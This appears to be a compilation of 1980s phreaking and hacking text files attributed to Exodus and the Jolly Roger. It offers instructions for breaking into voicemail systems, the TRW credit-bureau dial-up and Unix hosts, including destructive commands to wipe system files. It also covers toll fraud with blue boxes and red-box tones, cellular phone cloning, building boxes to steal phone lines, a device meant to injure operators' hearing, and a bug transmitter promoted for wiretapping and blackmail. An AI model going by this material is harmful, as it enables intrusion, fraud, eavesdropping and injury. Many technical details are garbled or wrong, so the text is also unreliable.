It took quite a while for Hollywood Cal traffic manager to figure
out how all of the local phone phreaks constantly discovered the
switchroom test numbers
Whenever someone wanted to use the testboard, they found the local
phone phreaks on the lines talking to all points all over the world.
It got to the point where the local garbage buffs knew more about the
office operations than the employees themselves. One phreak went so
far as to call in and tell a switchman what his next daily assignment
would be. This, however, proved to be too much. The switchman
traced the call and one phone phreak was denied the tool of his trade.
In another rather humorous incident, a fellow phreak was rumaging
through the trash bin when he heard somone apraoching. He pressed up
against the side of the bin and silently waited for the goodies to
come. You can imagine his surprise when the garbage from the lunchroom
landed on his head. Most people find evenings best for checking out
their local telco trash piles. The only thing necessary is a
flashlight and, in the case mentioned above, possibly a rain coat. A
word of warning though, before you rush out and dive into the trash
heap. It is probably illegal, but no matter where you live, you
certainly won't get the local policeman to hold your flashlight for
you.
-= Exodus =-
_
Canadian WATS Phonebook courtesy of the Jolly Roger
800-227-4004 ROLM Collagen Corp.
800-227-8933 ROLM Collagen Corp.
800-268-4500 Voice Mail
800-268-4501 ROLM Texaco
800-268-4505 Voice Mail
800-268-6364 National Data Credit
800-268-7800 Voice Mail
800-268-7808 Voice Mail
800-328-9632 Voice Mail
800-387-2097 Voice Mail
800-387-2098 Voice Mail
800-387-8803 ROLM Canadian Tire
800-387-8861 ROLM Canadian Tire
800-387-8862 ROLM Canadian Tire
800-387-8863 ROLM Canadian Tire
800-387-8864 ROLM Canadian Tire
800-387-8870 ROLM Halifax Life
800-387-8871 ROLM Halifax Life
800-387-9115 ASPEN Sunsweep
800-387-9116 ASPEN Sunsweep
800-387-9175 PBX [Hold Music=CHUM FM]
800-387-9218 Voice Messenger
800-387-9644 Carrier
800-426-2638 Carrier
800-524-2133 Aspen
800-663-5000 PBX/Voice Mail [Hold Music=CFMI FM]
800-663-5996 Voice Mail (5 rings)
800-847-6181 Voice Mail
NOTES: Each and every one of these numbers is available to the 604
(British Columbia) Area Code. Most are available Canada Wide and some
are located in the United States. Numbers designated ROLM have been
identified as being connected to a ROLM Phonemail system.
Numbers designated ASPEN are connected to an ASPEN voice message system.
Numbers designated VOICE MAIL have not been identified as to equipment
in use on that line. Numbers designated carrier are answered by a modem
or data set.
Most Voice Message systems, and ALL Rolms, sound like an answering machine.
Press 0 during the recording when in a rolm, * or # or other DTMF in other
systems, and be propelled into another world...
Brought to you in the Cookbook IV by Exodus!!!!!!!!!!!!!!!!
_
Hacking TRW by the Jolly Roger
When you call TRW, the dial up will identify itself with the message "TRW".
It will then wait for you to type the appropiate answer back (such as CTRL-G)
Once This has been done, the system will say "CIRCUIT BUILDING IN PROGRESS"
Along with a few numbers. After this, it clears the screen
(CTRL L) followed by a CTRL-Q. After the system sends the CTRL-Q, It is
ready for the request. You first type the 4 character identifyer for the
geographical area of the account..
(For Example) TCA1 - for certain Calif. & Vicinity subscribers.
TCA2 - A second CALF. TRW System.
TNJ1 - Their NJ Database.
TGA1 - Their Georgia Database.
The user then types A and then on the next line, he must type
his 3 char. Option. Most Requests use the RTS option.
OPX, RTX, and a few others exist. (NOTE) TRW will accept an A, C,
or S as the 'X' in the options above.) Then finally, the user types his 7
digit subscriber code. He appends his 3-4 character password after it. It
seems that if you manage to get hold of a TRW Printout (Trashing at Sears,
Saks, ETC. or from getting your credit printout from them) Their subscriber
code will be on it leaving only a 3-4 character p/w up to you.
For Example,
(Call the DialUp)
TRW System Types, ST) CTRL-G
(You type,YT) Circuit building in progress 1234
(ST) CTRL-L CRTL-Q (TCA1 CYT) BTS 3000000AAA
(YT]
Note: This sytem is in Half Duplex, Even Parity, 7 Bits per word and
2 Stop Bits.
CAUTION: It is a very stressed rumor that after typing in the TRW
password Three (3) times.. It sets an Automatic Number Identification on your
ass, so be careful. And forget who told you how to do this..
-= Exodus =-
_
Hacking Vax's & Unix by the Jolly Roger
Unix is a trademark of At&t (and you know what that means)
_______________________________________
In this article, we discuss the unix system that runs on
the various vax systems. If you are on another unix-type system, some
commands may differ, but since it is licenced to bell, they can't make many
changes.
_______________________________________
Hacking onto a unix system is very difficult, and in this case, we advise
having an inside source, if possible. The reason it is difficult to hack a
vax is this: Many vax, after you get a carrier from them, respond=>
Login:
They give you no chance to see what the login name format is. Most commonly
used are single words, under 8 digits, usually the person's name. There is
a way around this: Most vax have an acct. called 'suggest' for people to
use to make a suggestion to the system root terminal. This is usually watched
by the system operator, but at late he is probably at home sleeping or
screwing someone's brains out. So we can write a program to send at the
vax this type of a message:
A screen freeze (Cntrl-s), screen clear (system dependant), about 255
garbage characters, and then a command to create a login acct., after which
you clear the screen again, then unfreeze the terminal. What this does:
When the terminal is frozen, it keeps a buffer of what is sent. well, the
buffer is about 127 characters long. so you overflow it with trash, and then
you send a command line to create an acct. (System dependant). after this
you clear the buffer and screen again, then unfreeze the terminal. This is
a bad way to do it, and it is much nicer if you just send a command to
the terminal to shut the system down, or whatever you are after...
There is always, *Always* an acct. called root, the most powerful acct.
to be on, since it has all of the system files on it. If you hack your
way onto this one, then everything is easy from here on...
On the unix system, the abort key is the Cntrl-d key. watch how many times
you hit this, since it is also a way to log off the system!
A little about unix architechture: The root directory, called root, is
where the system resides. After this come a few 'sub' root directories,
usually to group things (stats here, priv stuff here, the user log here...).
Under this comes the superuser (the operator of the system), and then
finally the normal users. In the unix 'Shell' everything is treated the same.
By this we mean: You can access a program the same way you access a user
directory, and so on. The way the unix system was written, everything,
users included, are just programs belonging to the root directory. Those
of you who hacked onto the root, smile, since you can screw everything...
the main level (exec level) prompt on the unix system is the $, and if you
are on the root, you have a # (superuser prompt).
Ok, a few basics for the system... To see where you are, and what paths
are active in regards to your user account, then type
=> pwd
This shows your acct. seperated by a slash with another pathname (acct.),
possibly many times. To connect through to another path,
or many paths, you would type:
You=> path1/path2/path3
and then you are connected all the way from path1 to path3. You can
run the programs on all the paths you are connected to. If it does
not allow you to connect to a path, then you have insufficient privs, or
the path is closed and archived onto tape. You can run programs this way
also:
you=> path1/path2/path3/program-name
Unix treats everything as a program, and thus there a few commands to
learn...
To see what you have access to in the end path, type=>
ls
for list. this show the programs you can run. You can connect to
the root directory and run it's programs with=>
/root
By the way, most unix systems have their log file on the root, so you
can set up a watch on the file, waiting for people to log in and snatch their
password as it passes thru the file. To connect to a directory, use the
command:
=> cd pathname This allows you to do what you want
with that directory. You may be asked for a password, but this is a good
ay of finding other user names to hack onto.
The wildcard character in unix, if you want to search down a path for
a game or such, is the *.
=> ls /*
Should show you what you can access. The file types are the same as they
are on a dec, so refer to that section when examining file. To see what is
in a file, use the
=> pr
filename command, for print file.
We advise playing with pathnames to get the hang of the concept. There
is on-line help available on most systems with a 'help' or a '?'.
We advise you look thru the help files and pay attention to anything
they give you on pathnames, or the commands for the system.
You can, as a user, create or destroy directories on the tree beneath you.
This means that root can kill everything but root, and you can kill any
that are below you. These are the
=> mkdir pathname
=> rmdir pathname
commands.
Once again, you are not alone on the system... type=>
who
to see what other users are logged in to the system at the time. If you
want to talk to them=>
write username
Will allow you to chat at the same time, without having to worry
about the parser. To send mail to a user, say
=> mail
And enter the mail sub-system. To send a message to all the users
on the system, say
=> wall
Which stands for 'write all'. By the way, on a few systems,
all you have to do is hit the key to end the message,
but on others you must hit the cntrl-d key.
To send a single message to a user, say
=> write username
this is very handy again! If you send the sequence of characters discussed
at the very beginning of this article, you can have the super-user terminal do
tricks for you again.
Privs:
If you want superuser privs, you can either log in as root, or edit your
acct. so it can say
=> su
this now gives you the # prompt, and allows you to completely by-pass the
protection. The wonderful security conscious developers at bell made it
very difficult to do much without privs, but once you have them, there
is absolutely nothing stopping you from doing anything you want to.
To bring down a unix system:
=> chdir /bin
=> rm *
this wipes out the pathname bin, where all the system maintenance files are.
Or try:
=> r -r
This recursively removes everything from the system except the remove
command itself.
Or try:
=> kill -1,1
=> sync
This wipes out the system devices from operation.
When you are finally sick and tired from hacking on the vax systems, just
hit your cntrl-d and repeat key, and you will eventually be logged out.
_______________________________________
The reason this file seems to be very sketchy is the fact that bell has 7
licenced versions of unix out in the public domain, and these commands are
those common to all of them. I recommend you hack onto the root or
bin directory, since they have the highest levels of privs, and there
is really not much you can do (except develop software) without them.
_______________________________________
Verification Circuits courtesy of the Jolly Roger
(originally an Apple ][ file so forgive the upper case!)
1. ONE BUSY VERIFICATION CONFERENCE CIRCUIT IS ALWAYS PROVIDED.THE CIRCUIT IS A
THREE-WAY CONFERENCE BRIDGE THAT ENABLES AN OPERERATOR TO VERIFY THE BUSY/IDLE
CONDITION OF A SUBSCRIBER LINE.UPON REQUEST OF A PARTY ATTEMPTING TO REACH A
SPECIFIED DIRECTORY NUMBER, THE OPERATOR DIALS THE CALLED LINE NUMBER TO
DETERMINE IF THE LINE IS IN USE,IF THE RECEIVER IS OFF THE HOOK,OR IF THE LINE
IS IN LOCKOUT DUE TO A FAULT CONDITKON.THE OPERATOR THEN RETURNS TO THE PARTY
TRYING TO REACH THE DIRE CTORY NUMBER AND STATES THE CONDITION OF THE
LINE.LINES WITH DATA SECURITY CAN NOT BE ACCESSED FOR BUSY VERIFICATION WHEN
THE LINE IS IN USE.(REFER ALSO TO DATA SECURITY)
2. THREE PORTS ARE ASSIGNED TO EACH BUSY VERIFICATION CONFERENCE CIRCUIT.ONE
PORT IS FOR OPERATOR ACCESS AND TWO PORTS ARE USED TO SPLIT AN EXISTING
CONNECTION.TO VERKFY THE BUSY/IDLE CONDITION OF A LINE,THE OPERATOR
ESTABLISHED A CONNECTION TO THE OPERATOR ACCESS PORT AND DIALS THE DIRECTORY
NUMBER OF THE LINE TO BE VERIFIED.IF THE LINE IS IN USE,THE EXISTING
CONNECTION IS BROKEN AND IMMEDIATLY RE-ESTABLISHED THROUGH THE
OTHER TWO PORTS OF THE BUSY VERIFICATION CIRCUIT WITHOUT INTERRUPTION.
BUSY VERIFICATION CIRCUIT IS CONTROLLED BY ACCESS CODE. A DEDICATED TRUNK CAN
BE USED BUT IS NOT NECESSARY.
3. THE BUSY VREIFICATION CIRCUIT ALSO CAN BE USED FOR TEST VERIFY FROM THE WIRE
CHIEFS TEST PANEL.
B. ADDITIONAL BUSY VERIFICATION CONFERENCE CIRCUITS (002749)
O.K. THERE IT IS-RIGHT OUT OF AN ESS MANUAL WORD FOR WORD! (AND IM GETTING 25
LINEAR FEET OF ESS MANUALS!!! NOT COUNTING THE STACK RECEIVED SO FAR!
Brought to you in the Cookbook IV by Exodus!!!!
_
White Box Plans by the Jolly Roger
Introduction:
------------
The White Box is simply a portable Touch-Tone keypad. For more
information on Touch-Tone, see my Silver Box Plans.
Materials:
---------
1 Touch-Tone Keypad
1 Miniature 1000 to 8 Ohm Transformer
(Radio Shack # 273-1380)
1 Standard 8 Ohm Speaker
2 9V Batteries
2 9V Battery Clips
Procedure:
---------
(1) Connect the Red Wire from the Transformer to either terminal on the
Speaker.
(2) Connect the White Wire from the Transformer to the other terminal on
the Speaker.
(3) Connect the Red Wire from one Battery Clip to the Black Wire from the other
Battery Clip.
(4) Connect the Red Wire from the second Battery Clip to the Green Wire
from the Keypad.
(5) Connect the Blue Wire from the Keypad to the Orange/Black Wire from
the Keypad.
(6) Connect the Black Wire from the first Battery Clip to the two above
wires (Blue and Black/Orange).
(7) Connect the Black Wire from the Keypad to the Blue Wire from the
Transformer.
(8) Connect the Red/Green Wire from the Keypad to the Green Wire from the
Transformer.
(9) Make sure the Black Wire from the Transformer and the remaining wires
from the Keypad are free.
(10) Hook up the Batteries.
Optional:
--------
(1) Put it all in a case.
(2) Add a Silver Box to it.
Use:
---
Just use it like a normal keypad, except put the speaker next to the
receiver of the phone you're using.
---------Exodus--------
_
The BLAST Box Courtesy of the Jolly Roger
Ever want to really make yourself be heard? Ever talk to someone on the phone
who just doesn't shut up? Or just call the operator and pop her eardrum? Well,
up until recently it has been impossible for you to do these things. That is,
unless of course you've got a blast box. All a blast box is, is a really cheap
amplifier, (around 5 watts or so) connected in place of the microphone on your
telephone. It works best on model 500 AT&T Phones, and if constructed small
enough, can be placed inside the phone.
Construction:
Construction is not really important. Well it is, but since I'm letting you make
your own amp, I really don't have to include this.
Usage:
Once you've built your blast box, simply connect a microphone (or use the
microphone from the phone) to the input of the amplifier, and presto. There it
is. Now, believe it or not, this device actually works. (At least on crossbar.)
It seems that Illinois bell switching systems allow quite alot of current to
pass right through the switching office, and out to whoever you're calling. When
you talk in the phone, it comes out of the other phone (again it works best if
the phone that you're calling has the standard western electric earpiece)
incredibly loud. This device is especially good for PBS Subscription drives.
Have "Phun", and don't get caught!
---- Compiled by: Exodus------_
Dealing with the Rate & Route Operator
It seems that fewer and fewer people have blue boxes
these days, and that is really too bad. Blue boxes, while not
all that great for making free calls (since the TPC can tell when
the call was made, as well as where it was too and from), are
really a lot of fun to play with. Short of becoming a real live
TSPS operator, they are about the only way you can really play
with the network.
For the few of you with blue boxes, here are some phrases
which may make life easier when dealing with the rate & route
(R&R) operators. To get the R&R op, you send a KP + 141 + ST.
In some areas you may need to put another NPA before the 141
(i.e., KP + 213 + 141 + ST), if you have no local R&R ops.
The R&R operator has a myriad of information, and all it
takes to get this data is mumbling cryptic phrases. There are
basically four special phrases to give the R&R ops. They are
NUMBERS route, DIRECTORY route, OPERATOR route, and PLACE NAME.
To get an R&R an area code for a city, one can call the
R&R operator and ask for the numbers route. For example, to find
the area code for Carson City, Nevada, we'd ask the R&R op for
"Carson City, Nevada, numbers route, please." and get the answer,
"Right... 702 plus." meaning that 702 plus 7 digits gets us
there.
Sometimes directory assistance isn't just NPA + 131. The
way to get these routings is to call R&R and ask for "Anaheim,
California, directory route, please." Of course, she'd tell us it
was 714 plus, which means 714 + 131 gets us the D.A. op there.
This is sort of pointless example, but I couldn't come up with a
better one on short notice.
Let's say you wanted to find out how to get to the inward
operator for Sacremento, California. The first six digits of a
number in that city will be required (the NPA and an NXX). For
example, let us use 916 756. We would call R&R, and when the
operator answered, say, "916 756, operator route, please." The
operator would say, "916 plus 001 plus." This means that 916
+ 001 + 121 will get you the inward operator for Sacramento. Do
you know the city which corresponds to 503 640? The R&R operator
does, and will tell you that it is Hillsboro, Oregon, if you
sweetly ask for "Place name, 503 640, please."
For example, let's say you need the directory route for
Sveg, Sweden. Simply call R&R, and ask for, "International,
Baden, Switzerland. TSPS directory route, please." In response
to this, you'd get, "Right... Directory to Sveg, Sweden. Country
code 46 plus 1170." So you'd route yourself to an
international sender, and send 46 + 1170 to get the D.A. operator
in Sweden.
Inward operator routings to various countries are
obtained the same way "International, London, England, TSPS
inward route, please." and get "Country code 44 plus 121."
Therefore, 44 plus 121 gets you inward for London.
Inwards can get you language assitance if you don't speak
the language. Tell the foreign inward, "United Staes calling.
Language assitance in completing a call to (called party) at
(called number)."
R&R operators are people are people too, y'know. So
always be polite, make sure use of 'em, and dial with care.
-----------Exodus_
Cellular Phreaking courtesy of The Jolly Roger
The cellular/mobile phone system is one that is perfectly set up to be
exploited by phreaks with the proper knowledge and equipment. Thanks to
deregulation, the regional BOC's (Bell Operating Companies) are scattered
and do not communicate much with each other. Phreaks can take advantage of
this by pretending to be mobile phone customers whose "home base" is a city
served by a different BOC, known as a "roamer". Since it is impractical
for each BOC to keep track of the customers of all the other BOC's, they
will usually allow the customer to make the calls he wishes, often with a
surcharge of some sort.
The bill is then forwarded to the roamer's home BOC for collection.
However, it is fairly simple (with the correct tools) to create a bogus ID
number for your mobile phone, and pretend to be a roamer from some other
city and state, that's "just visiting". When your BOC tries to collect for
the calls from your alleged "home BOC", they will discover you are not a
real customer; but by then, you can create an entirely new electronic
identity, and use that instead.
How does the cellular system know who is calling, and where they are?
When a mobile phone enters a cell's area of transmission, it transmits its
phone number and its 8 digit ID number to that cell, who will keep track of
it until it gets far enough away that the sound quality is sufficiently
diminished, and then the phone is "handed off" to the cell that the customer
has walked or driven into. This process continues as long as the phone has
power and is turned on. If the phone is turned off (or the car is), someone
attempting to call the mobile phone will receive a recording along the
lines of "The mobile phone customer you have dialed has left the vehicle
or driven out of the service area." When a call is made to a mobile phone,
the switching equipment will check to see if the mobile phone being called is
"logged in", so to speak, or present in one of the cells. If it is, the
call will then act (to the speaking parties) just like a normal call - the
caller may hear a busy tone, the phone may just ring, or the call may be
answered.
How does the switching equipment know whether or not a particular
phone is authorized to use the network? Many times, it doesn't. When a
dealer installs a mobile phone, he gives the phone's ID number (an 8 digit
hexadecimal number) to the local BOC, as well as the phone number the BOC
assigned to the customer. Thereafter, whenever a phone is present in one
of the cells, the two numbers are checked - they should be registered to
the same person. If they don't match, the telco knows that an attempted
fraud is taking place (or at best, some transmission error) and will not
allow calls to be placed or received at that phone. However, it is
impractical (especially given the present state of deregulation) for the
telco to have records of every cellular customer of every BOC. Therefore,
if you're going to create a fake ID/phone number combination, it will need
to be "based" in an area that has a cellular system (obviously), has a
different BOC than your local area does, and has some sort of a "roamer"
agreement with your local BOC.
How can one "phreak" a cellular phone? There are three general areas
when phreaking cellular phones; using one you found in an unlocked car
(or an unattended walk-about model), modifying your own chip set to look
like a different phone, or recording the phone number/ID number combinations
sent by other local cellular phones, and using those as your own. Most
cellular phones include a crude "password" system to keep unauthorized
users from using the phone - however, dealers often set the password
(usually a 3 to 5 digit code) to the last four digits of the customer's
mobile phone number. If you can find that somewhere on the phone, you're
in luck. If not, it shouldn't be TOO hard to hack, since most people
aren't smart enough to use something besides "1111", "1234", or whatever.
If you want to modify the chip set in a cellular phone you bought
(or stole), there are two chips (of course, this depends on the model and
manufacturer, yours may be different) that will need to be changed - one
installed at the manufacturer (often epoxied in) with the phone's ID
number, and one installed by the dealer with the phone number, and possible
the security code. To do this, you'll obviously need an EPROM burner
as well as the same sort of chips used in the phone (or a friendly and
unscrupulous dealer!). As to recording the numbers of other mobile phone
customers and using them; as far as I know, this is just theory... but it
seems quite possible, if you've got the equipment to record and decode it.
The cellular system would probably freak out if two phones (with valid
ID/phone number combinations) were both present in the network at once,
but it remains to be seen what will happen.
-----Compiled by: Exodus-------_
Cheesebox Plans Courtesy of The Jolly Roger
A Cheesebox (named for the type of box the first one was
found in) is a type of box which will, in effect, make your
telephone a Pay-Phone.....This is a simple,modernized, and easy
way of doing it....
Inside Info:These were first used by bookies many years ago
as a way of making calls to people without being called by the
cops or having their numbers traced and/or tapped......
How To Make A Modern Cheese Box
Ingredients:
------------
1 Call Forwarding service on the line
1 Set of Red Box Tones
The number to your prefix's Intercept operator (do some scanning
for this one)
How To:
-------
After you find the number to the intercept operator in
your prefix, use your call-forwarding and forward all calls to
her...this will make your phone stay off the hook(actually, now
it waits for a quarter to be dropped in)...you now have a cheese
box... In Order To Call Out On This Line:You must use your Red
Box tones and generate the quarter dropping in...then,you can
make phone calls to people...as far as I know, this is fairly
safe, and they do not check much...Although I am not sure, I
think you can even make credit-card calls from a cheesebox
phone and not get traced...
-- Exodus --
_
HOW TO START YOUR OWN CONFERENCES! Brought to you by Exodus
BLACK BART SHOWED HOW TO START A CONFERENCE CALL THRU AN 800 EXCHANGE, AND I
WILL NOW EXPLAIN HOW TO START A CONFERENCE CALL IN A MORE ORTHODOX FASHIO, THE
2600 HZ. TONE.
FIRSTLY, THE FONE COMPANY HAS WHAT IS CALLED SWITCHING SYSTEMS. THERE ARE SE
VERAL TYPES, BUT THE ONE WE WILL CONCERN OURSELVES WITH, IS ESS (ELECTRONIC
SWITCHING SYSTEM). IF YOUR AREA IS ZONED FOR ESS, DO NOT START A CONFERENCE
CALL VIA THE 2600 HZ. TONE, OR BELL SECURITY WILL NAIL YOUR ASS! TO FND OUT IF
YOU ARE UNDER ESS, CALL YOUR LOCAL BUSINESS OFFICE, AND ASK THEM IF YOU CAN GET
CALL WAITING/FORWARDING, AND IF YOU CAN, THAT MEANS THAT YOU ARE IN ESS COUNTRY
, AND CONFERENCE CALLING IS VERY, VERY DANGEROUS!!! NOW, IF YOU ARE NOT IN ESS,
YOU WILL NEED THE FOLLOWING EQUIPMENT:
AN APPLE CAT II MODEM
A COPY OF TSPS 2 OR CAT'S MEOW
A TOUCH TONE FONE LINE
AND A TOUCH TONE FONE. (TRUE TONE)
NOW, WITH TSPS 2, DO THE FOLLOWING:
RUN TSPS 2
CHOSE OPTION 1
CHOSE OPTION 6
CHOSE SUB-OPTION 9
NOW TYPE:
1-514-555-1212 (DASHES ARE NOT NEEDED)
LISTEN WITH YOUR HANDSET, AND AS SOON AS YOU HEAR A LOUD 'CLICK', THEN TYPE
$
TO GENERATE THE 2600 HZ. TONE. THIS OBNOXIOUS TONE WILL CONTINUE FOR A FEW
SECONDS, THEN LISTEN AGAIN AND YOU SHOULD HEAR ANOTHER LOUD 'CLICK'.
NOW TYPE:
KM2130801050S
WHERE 'K' = KP TONE
'M' = MULTI FREQUENCY MODE
'S' = S TONE
NOW LISTEN TO THE HANDSET AGAIN, AND WAIT UNTIL YOU HEAR THE 'CLICK' AGAIN.
THEN TYPE:
KM2139752975S
WHERE 2139751975 IS THE NUMBER TO BILL THE CONFERENCE CALL TO. NOTE: 213-975-
1975 IS A DISCONNECTED NUMBER, AND I STRONGLY ADVISE THAT YOU ONLY BILL THE
CALL TO THIS NUMBER, OR THE FONE COMPANY WILL FIND OUT, AND THEN..........
REMEBER, CONFERENCE CALLS ARE ITEMIZED, SO IF YOU DO BILL IT TO AN ENEMY'S NUMB
ER, HE CAN EASILY FIND OUT WHO DID IT AND HE CAN BUST YOU!
YOU SHOULD NOW HEAR 3 BEEPS, AND A SHORT PRE-RECORDED MESSAGE. FROM HERE ON,
EVERYTHING IS ALL MENU DRIVEN.
CONFERENCE CALL COMMANDS
---------- ---- --------
FROM THE '#' MODE:
1 = CALL A NUMBER
6 = TRANSFER CONTROL
7 = HANGS UP THE CONFERENCE CALL
9 = WILL CALL A CONFERENCE OPERATR
STAY AWAY FROM 7 AND 9! IF FOR SOME REASON AN OPERATOR GETS ON-LINE,
HANG UP! IF YOU GET A BUSY SIGNAL AFTER KM2130801050S, THAT MEANS THAT THE
TELECONFEREN CING LINE IS TEMPORARILY DOWN. TRY LATER, PREFERRABLY FROM 9AM TO
5PM WEEK DAYS, SINCE CONFERENCE CALLS ARE PRIMARILY DESIGNED FOR BUSINESS
PEOPLE.
THE LEECH
_
Gold Box Plans by The Jolly Roger
HOW TO BUILD IT
_______________
You will need the following:
Two 10K OHM and three 1.4K OHM resistors
Two 2N3904 transistors
Two Photo Cells
Two Red LED'S (The more light produced the better)
A box that will not let light in
Red and Green Wire
Light from the #1 LED must shine directly on the photocell #1. The gold
box I made needed the top of the LED's to touch the photo cell for it to
work.
The same applies to the #2 photo cell and LED.
1
:-PHOTOCELL--:
: :
: :BASE
: 1 TTTTT
: +LED- TRANSISTOR
: TTTTT
: : :
: -I(-- : :COLLECTOR
RED1--< >:--: :-------:-----GREEN2
-I(-- : ----------:
: :
2 :-/+/+/-/+/+/-/+/+/-/+/+/
LED 10K 10K 1.4K 1.4K
RESISTORES
2
-PHOTOCELL-----------------
: :
:BASE :
TTTTT :
TRANSISTOR :
TTTTT :
: :EMITTER :
GREEN1- --------------------------RED2
: :
/+/+/
1.4K
The 1.4K resistor is variable and if the second part of the gold box is
skipped it will still work but when someone picks up the phone they will
hear a faint dial tone in the background and might report it to the
Gestapo er...(AT&T).
1.4K will give you good reception with little risk of a Gestapo agent at
your door.
Now that you have built it take two green wires of the same length and
strip the ends, twist two ends together and connect them to green1 and
place a piece of tape on it with "line #1" writing on it.
Continue the process with red1 only use red wire. Repeat with red2 and
green2 but change to line #2.
HOW TO INSTALL
______________
You will need to find two phone lines that are close together. Label one of
teh phone lines "Line #1". Cut the phone lines and take the outer coating
off it. Tere should be 4 wires. Cut the yellow and black wires off and
strip the red and green wires for both lines.
Line #1 should be in two pieces. Take the green wire of one end and connect
it to one of the green wires on the gold box. Take the other half of line
#1 and hook the free green wire to the green wire on the phone line. Repeat
the process with red1 and the other line.
All you need to do now is to write down the phone numbers of the place you
hooked it up at and go home and call it. You should get a dial tone!!!
If not, try changing the emittor with the collector.
Have a great time with this! --------Exodus----------
_
The History of ESS Courtesy of the Jolly Roger
Of all the new 1960s wonders of telephone technology -
satellites, ultra modern Traffic Service Positions (TSPS) for
operators, the picturephone, and so on - the one that gave Bell
Labs the most trouble, and unexpectedly became the greatest
development effort in Bell System's history, was the perfection
of an electronic switching system, or ESS.
It may be recalled that such a system was the specific end in
view when the project that had culminated in the invention of the
transistor had been launched back in the 1930s. After successful
accomplishment of that planned miracle in 1947-48, further delays
were brought about by financial stringency and the need for
further development of the transistor itself. In the early 1950s,
a Labs team began serious work on electronic switching. As early
as 1955, Western Electric became involved when five engineers
from the Hawthorne works were assigned to collaborate with the
Labs on the project. The president of AT&T in 1956, wrote
confidently, "At Bell Labs, development of the new electronic
switching system is going full speed ahead. We are sure this will
lead to many improvements in service and also to greater
efficiency. The first service trial will start in Morris, Ill.,
in 1959." Shortly thereafter, Kappel said that the cost of the
whole project would probably be $45 million.
But it gradually became apparent that the developement of a
commercially usable electronic switching system - in effect, a
computerized telephone exchange - presented vastly greater
technical problems than had been anticipated, and that,
accordingly, Bell Labs had vastly underestimated both the time
and the investment needed to do the job. The year 1959 passed
without the promised first trial at Morris, Illinois; it was
finally made in November 1960, and quickly showed how much more
work remained to be done. As time dragged on and costs mounted,
there was a concern at AT&T and something approaching panic at
Bell Labs. But the project had to go forward; by this time the
investment was too great to be sacrificed, and in any case,
forward projections of increased demand for telephone service
indicated that within a phew years a time would come when,
without the quantum leap in speed and flexibility that electronic
switching would provide, the national network would be unable to
meet the demand. In November 1963, an all-electronic switching
system went into use at the Brown Engineering Company at Cocoa
Beach, Florida. But this was a small installation, essentially
another test installation, serving only a single company.
Kappel's tone on the subject in the 1964 annual report was, for
him, an almost apologetic: "Electronic switching equipment must
be manufactured in volume to unprecedented standards of
reliability.... To turn out the equipment economically and with
good speed, mass production methods must be developed; but, at
the same time, there can be no loss of precision..." Another year
and millions of dollars later, on May 30, 1965, the first
commercial electric centeral office was put into service at
Succasunna, New Jersey.
Even at Succasunna, only 200 of the town's 4,300 subscribers
initially had the benefit of electronic switching's added speed
and additional services, such as provision for three party
conversations and automatic transfer of incoming calls. But after
that, ESS was on its way. In January 1966, the second commercial
installation, this one serving 2,900 telephones, went into
service in Chase, Maryland. By the end of 1967 there were
additional ESS offices in California, Connecticut, Minnesota,
Georgia, New York, Florida, and Pennsylvania; by the end of 1970
there were 120 offices serving 1.8 million customers; and by 1974
there were 475 offices serving 5.6 million customers.
The difference between conventional switching and electronic
switching is the difference between "hardware" and "software"; in
the former case, maintenence is done on the spot, with
screwdriver and pliers, while in the case of electronic
switching, it can be done remotely, by computer, from a centeral
point, making it possible to have only one or two technicians on
duty at a time at each switching center. The development program,
when the final figures were added up, was found to have required
a staggering four thousand man-years of work at Bell Labs and to
have cost not $45 million but $500 million!
_
The Lunch Box Courtesy of Exodus
Introduction
===========
The Lunch Box is a VERY simple transmitter which can be handy for all sorts of
things. It is quite small and can easily be put in a number of places. I have
successfully used it for tapping fones, getting inside info, blackmail and
other such things. The possibilities are endless. I will also include the plans
or an equally small receiver for your newly made toy. Use it for just about
anything. You can also make the transmitter and receiver together in one box
and use it as a walkie talkie.
Materials you will need
======================
(1) 9 volt battery with battery clip
(1) 25-mfd, 15 volt electrolytic capacitor
(2) .0047 mfd capacitors
(1) .022 mfd capacitor
(1) 51 pf capacitor
(1) 365 pf variable capacitor
(1) Transistor antenna coil
(1) 2N366 transistor
(1) 2N464 transistor
(1) 100k resistor
(1) 5.6k resistor
(1) 10k resistor
(1) 2meg potentiometer with SPST switch
Some good wire, solder, soldering iron, board to put it on, box (optional)
Schematic for The Lunch Box
===========================
This may get a tad confusing but just print it out and pay attention.
[!]
!
51 pf
!
---+---- ------------base collector
! )( 2N366 +----+------/\/\/----GND
365 pf () emitter !
! )( ! !
+-------- ---+---- ! !
! ! ! ! !
GND / .022mfd ! !
10k\ ! ! !
/ GND +------------------------emitter
! ! ! 2N464
/ .0047 ! base collector
2meg \----+ ! ! +--------+ !
/ ! GND ! ! !
GND ! ! !
+-------------+.0047+--------------------+ ! !
! +--25mfd-----+
-----------------------------------------+ ! !
microphone +--/\/\/-----+
---------------------------------------------+ 100k !
!
GND---->/<---------------------!+!+!+---------------+
switch Battery
from 2meg pot.
Notes about the schematic
=========================
1. GND means ground
2. The GND near the switch and the GND by the 2meg potentiometer should be
connected.
3. Where you see: )(
()
)( it is the transistor antenna coil with 15 turns of
regular hook-up wire around it.
4. The middle of the loop on the left side (the left of "()") you should run
a wire down to the "+" which has nothing attached to it. There is a .0047
capacitor on the correct piece of wire.
5. For the microphone use a magnetic earphone (1k to 2k).
6. Where you see "[!]" is the antenna. Use about 8 feet of wire to broadcast
approx 300ft. Part 15 of the FCC rules and regulation says you can't
broadcast over 300 feet without a license. (Hahaha). Use more wire for an
antenna for longer distances. (Attach it to the black wire on the fone
line for about a 250 foot antenna!)
Operation of the Lunch Box
==========================
This transmitter will send the signals over the AM radio band. You use the
variable capacitor to adjust what freq. you want to use. Find a good unused
freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to
adjust gain. Just fuck with it until you get what sounds good. The switch on
the 2meg is for turning the Lunch Box on and off. When everything is adjusted,
turn on an AM radio adjust it to where you think the signal is. Have a friend
lay some shit thru the Box and tune in to it. That's all there is to it. The
plans for a simple receiver are shown below:
The Lunch Box receiver
======================
(1) 9 volt battery with battery clip
(1) 365 pf variable capacitor
(1) 51 pf capacitor
(1) 1N38B diode
(1) Transistor antenna coil
(1) 2N366 transistor
(1) SPST toggle switch
(1) 1k to 2k magnetic earphone
Schematic for receiver
======================
[!]
!
51 pf
!
+----+----+
! !
) 365 pf
(----+ !
) ! !
+---------+---GND
!
+---*>!----base collector-----
diode 2N366 earphone
emitter +-----
! !
GND !
-
+
- battery
+
GND------>/<------------+
switch
Closing statement
=================
